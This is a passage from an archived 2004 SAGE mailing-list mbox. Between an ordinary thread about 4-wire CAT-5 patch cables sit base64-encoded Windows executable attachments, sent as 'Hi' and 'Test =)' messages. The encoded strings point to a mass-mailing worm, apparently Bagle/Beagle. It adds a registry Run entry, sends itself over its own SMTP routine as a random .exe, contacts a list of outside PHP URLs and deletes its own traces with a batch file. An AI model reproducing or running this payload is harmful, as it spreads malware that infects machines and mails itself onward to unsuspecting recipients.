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 i+yBxKD+//9WV1Nq//81HH9AAOhkBAAAxkX/AMaFrv7//wBqCI2Fr/7//1Doo+H///91DOgc 5v//agBqBWoB/3UM/3UI6Fnr//+FwA+EXAIAAP91DOjo5f//i1UMixJqAGoBjYWu/v//UP91 DP9SDP91DOjd5f//gL2u/v//AnQXgL2u/v//A3QOgL2u/v//BHQF6RYCAABqBWoAaMgAAAD/ dQz/dQjoYOv//4XAD4T6AQAA/3UM6Ibl//+LVQyLEmoAaMgAAACNhTf///9Q/3UM/1IM/3UM 6Hjl//9oAFBAAI2FN////1DopgMAAAvAdAXptwEAAPyNvTf///+4AQAAAKuhA1BAAKtqAGoI jYU3////UP91COjRAwAAgL2u/v//AnQNgL2u/v//Aw+FbQEAAGoAagRqBP91DP91COhf6v// hcAPhGIBAAD/dQzo7uT//4tVDIsSagBqBI2FqP7//1D/dQz/Ugz/dQzo4+T//2oAagT/taj+ ////dQz/dQjoHOr//4XAD4QfAQAA/3UM6Kvk//9oBAEAAI2FN////1DomAIAAGoFjYWv/v// UOhB4P//aPlXQACNhTf///9Q6McCAACNha/+//9QjYU3////UOi0AgAAaAdYQACNhTf///9Q 6KMCAABqAGoAagJqAGoCaAAAAECNhTf///9Q6MgBAACJhaD+//9AD4SbAAAAi1UMixKNhaT+ //9QaIAAAACNhbf+//9Q/3UM/1IMg72k/v//AHQjagCNhaT+//9Q/7Wk/v//jYW3/v//UP+1 oP7//+gtAgAA67b/taD+///oVAEAAIC9rv7//wN1EWgBWEAAjYU3////UOgMAgAAagCNhTf/ //9Q6PIBAACAva7+//8DdRXouuD//+sOgL2u/v//BHUF6Krg////dQjoCAIAAP81HH9AAOij AQAAM8BbX17JwggAVYvsg8TwVldT/wVYV0AAjUX8UOjE4v//agFqBWoI/3X8/3UI6LDo//// dfzoR+P//2oIjUX0UOjO3v//i1X8ixJqAGoIjUX0UP91/P9SDI119IA+Q3UagH4B/3UUZoN+ Av91Df91/P91COjG/P//6wLrAusI/3UI6HcBAAD/dfzoauL///8NWFdAADPAW19eycIEAGoA 6JUBAADon+b//4M9A1BAAAB1FGjIrwAA6AHh//8FiBMAAKMDUEAAaFxXQABo9jBAAP81A1BA AOiw6v//6Dr8//+DPVRXQAAAdAXo8/r//2joAwAA6LEAAADr9Mz/JaRAQAD/JbhAQAD/JbRA QAD/JbBAQAD/JaxAQAD/JZxAQAD/JaBAQAD/JahAQAD/JSRAQAD/JShAQAD/JSxAQAD/JTBA QAD/JTRAQAD/JThAQAD/JTxAQAD/JUBAQAD/JURAQAD/JUhAQAD/JUxAQAD/JVBAQAD/JVRA QAD/JVhAQAD/JVxAQAD/JWBAQAD/JbxAQAD/JWRAQAD/JWhAQAD/JWxAQAD/JXBAQAD/JXRA QAD/JXhAQAD/JXxAQAD/JYBAQAD/JYRAQAD/JYhAQAD/JYxAQAD/JZBAQAD/JZRAQAD/JZhA QAD/JeRAQAD/JTBBQAD/JShBQAD/JSRBQAD/JSBBQAD/JRxBQAD/JRhBQAD/JRRBQAD/JQxB QAD/JQBBQAD/JQRBQAD/JQhBQAD/JRBBQAD/JSxBQAD/JcRAQAD/JchAQAD/JdxAQAD/JdRA QAD/JdhAQAD/JdBAQAD/JfhAQAD/JfRAQAD/JfBAQAD/JexAQAD/JRRAQAD/JRBAQAD/JQxA QAD/JQhAQAD/JRxAQAD/JQBAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAALhHAAAAAAAAdkcAAGJHAABSRwAA REcAAAAAAACWRwAAAAAAALZDAADCQwAA1EMAAORDAAD2QwAACEQAABhEAAAmRAAANkQAAFBE AABmRAAAfEQAAIxEAACeRAAAuEQAANBEAADsRAAA+kQAAAZFAAAWRQAAJkUAAC5FAABGRQAA WEUAAG5FAAB4RQAAhEUAAJBFAACcRQAAqEUAAIhDAACYQwAAOEMAAKhDAAByQwAAZEMAAFhD AABGQwAA3kQAAAAAAAB2RgAAhkYAAAAAAADKRgAAskYAAL5GAACoRgAAAAAAAMJFAAAAAAAA JEcAABRHAAD4RgAA4kYAAAAAAAA8RgAARkYAAE5GAAAwRgAAWEYAACJGAAASRgAACEYAAPpF AADyRQAA6EUAAGBGAADaRQAAAAAAACRCAAAAAAAAAAAAALRFAAAkQAAA5EIAAAAAAAAAAAAA zkUAAORAAAAAQwAAAAAAAAAAAABqRgAAAEEAAMRCAAAAAAAAAAAAAJ5GAADEQAAA0EIAAAAA AAAAAAAA1kYAANBAAADsQgAAAAAAAAAAAAA4RwAA7EAAAAhCAAAAAAAAAAAAAIhHAAAIQAAA HEIAAAAAAAAAAAAAqkcAABxAAAAAQgAAAAAAAAAAAADIRwAAAEAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAuEcAAAAAAAB2RwAAYkcAAFJHAABERwAAAAAAAJZHAAAAAAAAtkMAAMJDAADUQwAA 5EMAAPZDAAAIRAAAGEQAACZEAAA2RAAAUEQAAGZEAAB8RAAAjEQAAJ5EAAC4RAAA0EQAAOxE AAD6RAAABkUAABZFAAAmRQAALkUAAEZFAABYRQAAbkUAAHhFAACERQAAkEUAAJxFAACoRQAA iEMAAJhDAAA4QwAAqEMAAHJDAABkQwAAWEMAAEZDAADeRAAAAAAAAHZGAACGRgAAAAAAAMpG AACyRgAAvkYAAKhGAAAAAAAAwkUAAAAAAAAkRwAAFEcAAPhGAADiRgAAAAAAADxGAABGRgAA TkYAADBGAABYRgAAIkYAABJGAAAIRgAA+kUAAPJFAADoRQAAYEYAANpFAAAAAAAAGgBDbG9z ZUhhbmRsZQAdAENvbXBhcmVGaWxlVGltZQAkAENvcHlGaWxlQQAwAENyZWF0ZUZpbGVBADEA Q3JlYXRlRmlsZU1hcHBpbmdBAAA7AENyZWF0ZU11dGV4QQAARgBDcmVhdGVUaHJlYWQAAIAA RXhpdFByb2Nlc3MAjwBGaW5kQ2xvc2UAkwBGaW5kRmlyc3RGaWxlQQAAnABGaW5kTmV4dEZp bGVBAMgAR2V0Q29tbWFuZExpbmVBAN8AR2V0RGF0ZUZvcm1hdEEAAOgAR2V0RHJpdmVUeXBl QQD1AEdldEZpbGVTaXplAP4AR2V0TG9jYWxUaW1lAAABAUdldExvZ2ljYWxEcml2ZVN0cmlu Z3NBAAcBR2V0TW9kdWxlRmlsZU5hbWVBAAA8AUdldFN5c3RlbURpcmVjdG9yeUEAUgFHZXRU aWNrQ291bnQAAFMBR2V0VGltZUZvcm1hdEEAAFUBR2V0VGltZVpvbmVJbmZvcm1hdGlvbgAA YgFHZXRXaW5kb3dzRGlyZWN0b3J5QQAAZwFHbG9iYWxBbGxvYwBuAUdsb2JhbEZyZWUAAKoB TG9jYWxBbGxvYwAArgFMb2NhbEZyZWUAugFNYXBWaWV3T2ZGaWxlAP0BUmVsZWFzZU11dGV4 AABgAlNsZWVwAGUCU3lzdGVtVGltZVRvRmlsZVRpbWUAAHcCVW5tYXBWaWV3T2ZGaWxlAI8C V2FpdEZvclNpbmdsZU9iamVjdACUAldpbkV4ZWMAngJXcml0ZUZpbGUAtQJsc3RyY2F0QQAA uQJsc3RyY21waUEAuwJsc3RyY3B5QQAAvwJsc3RybGVuQQAAa2VybmVsMzIuZGxsAABiAndz cHJpbnRmQQB1c2VyMzIuZGxsAAAhAFdTQVN0YXJ0dXAAACQAYWNjZXB0AAAlAGJpbmQAACYA Y2xvc2Vzb2NrZXQAJwBjb25uZWN0ACoAZ2V0aG9zdGJ5bmFtZQArAGdldGhvc3RuYW1lADYA aW5ldF9hZGRyADoAbGlzdGVuAAA+AHJlY3YAAEMAc2VsZWN0AABEAHNlbmQAAEkAc29ja2V0 AAB3c29jazMyLmRsbAAxAENvSW5pdGlhbGl6ZQAAawBDcmVhdGVTdHJlYW1PbkhHbG9iYWwA b2xlMzIuZGxsANcAU3RyRHVwQQDmAFN0clJDaHJBAADzAFN0clN0cklBAAD6AFN0clRyaW1B AABzaGx3YXBpLmRsbABpAEludGVybmV0Q2xvc2VIYW5kbGUAewBJbnRlcm5ldEdldENvbm5l Y3RlZFN0YXRlAIYASW50ZXJuZXRPcGVuQQCHAEludGVybmV0T3BlblVybEEAAHdpbmluZXQu ZGxsAIABUmVnQ2xvc2VLZXkAgwFSZWdDcmVhdGVLZXlBAKMBUmVnUXVlcnlWYWx1ZUV4QQAA rgFSZWdTZXRWYWx1ZUV4QQAAYWR2YXBpMzIuZGxsAAAqAEdldE5ldHdvcmtQYXJhbXMAAGlw aGxwYXBpLmRsbAAAbgBTaGVsbEV4ZWN1dGVBAFNIRUxMMzIuZGxsAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAMTIAeRoAADE1MS4yMDEuMC4zOQAAAAAA AAAAAC53YWIALnR4dAAuaHRtAC5odG1sAAAucjEAQGhvdG1haWwuY29tAEBtc24uY29tAEBt aWNyb3NvZnQAQGF2cC4AACVzP3A9JWx1JmlkPSVzAGh0dHA6Ly93d3cuZWxyYXNzaG9wLmRl LzEucGhwAGh0dHA6Ly93d3cuaXQtbXNjLmRlLzEucGhwAGh0dHA6Ly93d3cuZ2V0eW91cmZy ZWUubmV0LzEucGhwAGh0dHA6Ly93d3cuZG1kZXNpZ24uZGUvMS5waHAAaHR0cDovLzY0LjE3 Ni4yMjguMTMvMS5waHAAaHR0cDovL3d3dy5sZW9uemVybml0c2t5LmNvbS8xLnBocABodHRw Oi8vMjE2Ljk4LjEzNi4yNDgvMS5waHAAaHR0cDovLzIxNi45OC4xMzQuMjQ3LzEucGhwAGh0 dHA6Ly93d3cuY2Ryb21jYS5jb20vMS5waHAAaHR0cDovL3d3dy5rdW5zdC1pbi10ZW1wbGlu LmRlLzEucGhwAGh0dHA6Ly92aXB3ZWIucnUvMS5waHAAaHR0cDovL2FudG9sLWNvLnJ1LzEu cGhwAGh0dHA6Ly93d3cuYmFncy1kb3N0YXZrYS5tYWdzLnJ1LzEucGhwAGh0dHA6Ly93d3cu NXgxMi5ydS8xLnBocABodHRwOi8vYm9zZS1hdWRpby5uZXQvMS5waHAAaHR0cDovL3d3dy5z dHRuZ2RhdGEuZGUvMS5waHAAaHR0cDovL3doOS50dS1kcmVzZGVuLmRlLzEucGhwAGh0dHA6 Ly93d3cubWljcm9udWtlLm5ldC8xLnBocABodHRwOi8vd3d3LnN0YWR0aGFnZW4ub3JnLzEu cGhwAGh0dHA6Ly93d3cuYmVhc3R5LWNhcnMuZGUvMS5waHAAaHR0cDovL3d3dy5wb2xvaGV4 ZS5kZS8xLnBocABodHRwOi8vd3d3LmJpbm84OC5kZS8xLnBocABodHRwOi8vd3d3LmdyZWZy YXRocGFlbnouZGUvMS5waHAAaHR0cDovL3d3dy5iaGFtaWR5LmRlLzEucGhwAGh0dHA6Ly93 d3cubXlzdGljLXZ3cy5kZS8xLnBocABodHRwOi8vd3d3LmF1dG8taG9iYnktZXNzZW4uZGUv MS5waHAAaHR0cDovL3d3dy5wb2xvemlja2UuZGUvMS5waHAAaHR0cDovL3d3dy50d3ItbXVz aWMuZGUvMS5waHAAaHR0cDovL3d3dy5zYy1lcmJlbmRvcmYuZGUvMS5waHAAaHR0cDovL3d3 dy5tb250YW5pYS5kZS8xLnBocABodHRwOi8vd3d3Lm1lZGktbWFydGluLmRlLzEucGhwAGh0 dHA6Ly92dmNnbi5kZS8xLnBocABodHRwOi8vd3d3LmJhbGxvbmZvdG8uY29tLzEucGhwAGh0 dHA6Ly93d3cubWFyZGVyLWdtYmguZGUvMS5waHAAaHR0cDovL3d3dy5kdmQtZmlsbWUuY29t LzEucGhwAGh0dHA6Ly93d3cuc21lYW5nb2wuY29tLzEucGhwAABEYXRlOiAlcw0KVG86ICVz DQpTdWJqZWN0OiBIaQ0KRnJvbTogJXMNCk1lc3NhZ2UtSUQ6IDwlcyVzPg0KTUlNRS1WZXJz aW9uOiAxLjANCkNvbnRlbnQtVHlwZTogbXVsdGlwYXJ0L21peGVkOw0KICAgICAgICBib3Vu ZGFyeT0iLS0tLS0tLS0lcyINCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiB0ZXh0 L3BsYWluOyBjaGFyc2V0PSJ1cy1hc2NpaSINCkNvbnRlbnQtVHJhbnNmZXItRW5jb2Rpbmc6 IDdiaXQNCg0KAC0tLS0tLS0tLS0lcw0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LW1z ZG93bmxvYWQ7IG5hbWU9IlslJVJBTkQlJV0uZXhlIg0KQ29udGVudC1UcmFuc2Zlci1FbmNv ZGluZzogYmFzZTY0DQpDb250ZW50LURpc3Bvc2l0aW9uOiBhdHRhY2htZW50OyBmaWxlbmFt ZT0iWyUlUkFORCUlXS5leGUiDQoNCgANCg0KLS0tLS0tLS0tLSVzLS0NCg0KLg0KACBUZXN0 ID0pDQpbJVJBTkQlXVslUkFORCVdDQotLQ0KVGVzdCwgeWVwLg0KOmwNCmRlbCAlMQ0KaWYg ZXhpc3QgJTEgZ290byBsDQpkZWwgJTAAYS5iYXQAb3BlbgBxAgAAzQ0BAAAAAAAAAAAAAAAA AAAAAAAAAAAAY2FsYy5leGUAb3BlbgBTT0ZUV0FSRVxXaW5kb3dzOTgAdWlkAFNPRlRXQVJF XE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFJ1bgBkM2R1cGRhdGUuZXhlAFxi YmVhZ2xlLmV4ZQBmcnVuAAAAAAAAAAAAAAAAAAAsACAsDQoAPAA+AENDOiAAQkNDOgBUbzog AEhFTE8gJXMNCgBSU0VUDQoATUFJTCBGUk9NOjwlcz4NCgBSQ1BUIFRPOjwlcz4NCgBEQVRB DQoAWyVSQU5EJV0AZGRkJywnIGRkIE1NTSB5eXl5IABISDptbTpzcyAAJTAzaSUwMmkADQpc ACouKgBiZWFnbGVfYmVhZ2xlAFxic3VwbGQAIC11cGQALmV4ZQAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAgADAAAAIAAAgA4AAAA4AACAAAAAAAAAAAAAAAAAAAABAAEAAABQAACA AAAAAAAAAAAAAAAAAAABAAEAAABoAACAAAAAAAAAAAAAAAAAAAABAAAAAACAAAAAAAAAAAAA AAAAAAAAAAABAAAAAACQAAAAoJAAAOgCAAAAAAAAAAAAAIiTAAAUAAAAAAAAAAAAAAAoAAAA IAAAAEAAAAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAICAAIAA AACAAIAAgIAAAMDAwACAgIAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////ABERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER EREREREREREREREREREREREREQAAAAAAAAAAAAAAAAAAARZkREREREREREREREREREAW5mZm ZmZmZmZmZmZmZmZAFvZgAGAAYABgAGAAAABmQBbmb3BvcG9wb3Bvd3dwZkAW9m/wb/Bv8G/w b///8GZAFuZmZmZmZmZmZmZmZmZmQBb2YABgAGAAYABgAGAAZkAW5m9wb3BvcG9wb3BvcGZA FvZv8G/wb/Bv8G/wb/BmQBbmZmZmZmZmZmZmZmZmZkAW9mAAYABgAGAAYABgAGZAFuZvcG9w b3BvcG9wb3BmQBb2b/Bv8G/wb/Bv8G/wZkAW5mZmZmZmZmZmZmZmZmZAFvZgd3d3d3d3d2Zm ZmZmQBbmYP////////dmZmZmZkAW9mB3d3d3d3d3ZmZmZmZAFuZgAAAAAAAAAGZmZmZmQBb+ /v7+/v7+/v7+/v7+/kARZmZmZmZmZmZmZmZmZmZhERERERERERERERERERERERERERERERER ERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERER ERERERERERERERERERERERER///////////////////////////AAAABgAAAAIAAAACAAAAA gAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAAAACAAAAAgAAAAIAA AACAAAAAgAAAAMAAAAH///////////////////////////////8AAAEAAQAgIBAAAQAEAOgC AAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= ----------735000020700836-- From sage-members-owner@usenix.org Mon Jan 19 15:03:50 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0JN3iNn005081 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 19 Jan 2004 15:03:44 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0JN3iJG005080 for sage-members-outgoing; Mon, 19 Jan 2004 15:03:44 -0800 (PST) Message-ID: From: Todd Williams To: sage-members@sage.org Subject: [SAGE] 4-wire CAT-5 patch cables - any issues? Date: Mon, 19 Jan 2004 15:03:40 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2657.72) Content-Type: text/plain Sender: owner-sage-members@usenix.org Precedence: bulk Somebody here bought some CAT-5 patch cables that were very inexpensive. Then they realized that they only contain 4 wire (pins 1,2,3,6 of course). They certainly are thin, which could reduce the cable mgmt bundles/mess a bit. Anybody have experiences or opinions on using 4-wire instead of good old 8-wire cables? -Todd From sage-members-owner@usenix.org Mon Jan 19 15:18:13 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0JNIDNn005630 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Mon, 19 Jan 2004 15:18:13 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0JNIDmf005629 for sage-members-outgoing; Mon, 19 Jan 2004 15:18:13 -0800 (PST) Message-ID: <43094.192.55.4.36.1074554286.squirrel@192.55.4.36> Date: Mon, 19 Jan 2004 15:18:06 -0800 (PST) Subject: Re: [SAGE] 4-wire CAT-5 patch cables - any issues? From: "Robert Hajime Lanning" To: sage-members@sage.org Reply-To: lanning@lanning.cc User-Agent: SquirrelMail/1.4.3 [CVS] X-Mailer: SquirrelMail/1.4.3 [CVS] MIME-Version: 1.0 Content-Type: text/plain;charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 Importance: Normal X-Spam-Score: 0 () X-Scanned-By: MIMEDefang 2.39 Sender: owner-sage-members@usenix.org Precedence: bulk > Somebody here bought some CAT-5 patch cables that were very inexpensive. > > Then they realized that they only contain 4 wire (pins 1,2,3,6 of course). > > They certainly are thin, which could reduce the cable mgmt bundles/mess a bit. > > Anybody have experiences or opinions on using 4-wire instead of good old 8-wire cables? > > -Todd > They will be just fine, as long as you use them for nothing other than 10/100Mb ethernet. No RJ45 serial connections, T1 connection, Gig-Ethernet, analog phone... -- END OF LINE -MCP -- END OF LINE -MCP From sage-members-owner@usenix.org Tue Jan 20 10:21:50 2004 Received: from voyager.usenix.org (localhost [127.0.0.1]) by usenix.org (8.12.10/8.12.10) with ESMTP id i0KILnNn021472 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Tue, 20 Jan 2004 10:21:49 -0800 (PST) Received: (from majordomo@localhost) by voyager.usenix.org (8.12.10/8.12.10/Submit) id i0KILnYW021471 for sage-members-outgoing; Tue, 20 Jan 2004 10:21:49 -0800 (PST) Date: Tue, 20 Jan 2004 20:23:10 +0200 To: sage-members@sage.org Subject: [SAGE] Hi From: trey@sage.org Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------104413332762038" Sender: owner-sage-members@usenix.org Precedence: bulk ----------104413332762038 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Test =) tkkclvfh -- Test, yep. ----------104413332762038 Content-Type: application/x-msdownload; name="gdcnrwtwrio.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="oeaefjur.exe" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAyAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAADchu8bmOeBSJjngUiY54FImOeBSJvngUgW+JJIxeeBSGTH k0iZ54FIX+GHSJnngUhSaWNomOeBSAAAAAAAAAAAAAAAAAAAAABQRQAATAEEAN9uCkAAAAAA AAAAAOAADwELAQUMACQAAABCAAAAAAAAijEAAAAQAAAAQAAAAABAAAAQAAAAAgAABAAAAAAA AAAEAAAAAAAAAACgAAAABAAAOScBAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAA AAAAADhBAADIAAAAAJAAAKADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAOAEAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAGJlYWdsZQAAhiMAAAAQAAAAJAAAAAQAAAAAAAAAAAAAAAAAACAA AGAucmRhdGEAANQHAAAAQAAAAAgAAAAoAAAAAAAAAAAAAAAAAABAAABALmRhdGEAAABONQAA AFAAAAAKAAAAMAAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAoAMAAACQAAAABAAAADoAAAAA AAAAAAAAAAAAAEAAAMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFWL 7Ff8i30Ii00MwekCM8DjAvOri00Mg+ED4wLzql/JwggAVYvsV1OLXQyLfQhqGeh1AgAAg8Bh /KpLdfFbX8nCCABVi+xXU4tdDIt9CGoJ6FUCAACDwDD8qkt18VtfycIIAFWL7IPE/FP/dQjo WiIAAIvY/3UQ6FAiAAAD2IPDEFNqQOjpIQAAiUX8/3UM/3UI6KciAAALwHQzxgAAi9j/dQzo JCIAAAPY/3UI/3X86BEiAAD/dRD/dfzo+iEAAFP/dfzo8SEAAItF/OsK/3X86KIhAAAzwFvJ wgwAVYvsg8T8VldTx0X8AAAAAIt1CIt9DItNEDPAM9usweAI4gfB4AhDQ+sLrMHgCOIDQ+sC rElRagRZUcHCCIrQgOI/wegG4vNZ6C8AAACSq5L/RfyDffwSdQ/HRfwAAAAAUGa4DQpmq1hZ C8l1rovLK/mwPfOqW19eycIMAID6PnMXgPozdw2AwkGA+lp2A4DCBusOgML86wmA6j7A4gKA wivBwgji1sNVi+yDxOxoAAQAAGpA6NwgAACJRfRoAAQAAGpA6M0gAACJRfBoAAQAAGpA6L4g 